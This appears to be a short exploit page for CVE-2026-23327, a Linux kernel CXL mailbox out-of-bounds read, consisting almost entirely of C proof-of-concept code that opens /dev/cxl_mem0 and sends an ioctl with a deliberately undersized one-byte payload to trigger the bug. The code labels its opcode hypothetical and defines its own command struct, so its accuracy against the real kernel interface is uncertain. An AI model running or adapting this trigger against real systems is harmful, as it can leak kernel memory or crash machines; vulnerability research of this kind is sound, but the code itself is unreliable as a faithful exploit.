CVE-2026-23327 Linux内核CXL邮箱越界读取漏洞

// PoC Code for CVE-2026-23327 // Requires a CXL device or emulator #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define CXL_MEM_SEND_COMMAND _IOWR('C', 0x10, struct cxl_send_command) #define CXL_MBOX_OP_CLEAR_LOG 0x4001 // Hypothetical opcode for demo struct cxl_send_command { __u64 id; __u16 opcode; __u16 flags; __u32 rsvd; __u64 payload_in; __u32 payload_in_size; __u32 payload_out_size; __u64 payload_out; __u64 rsvd2[3]; }; int main() { int fd = open("/dev/cxl_mem0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } // Prepare undersized payload (1 byte instead of 16 for UUID) char *payload = malloc(1); memset(payload, 0x41, 1); struct cxl_send_command cmd = {0}; cmd.opcode = CXL_MBOX_OP_CLEAR_LOG; cmd.payload_in = (__u64)payload; cmd.payload_in_size = 1; // Trigger vulnerability printf("Sending malicious payload...\n"); if (ioctl(fd, CXL_MEM_SEND_COMMAND, &cmd) < 0) { perror("IOCTL failed"); } free(payload); close(fd); return 0; }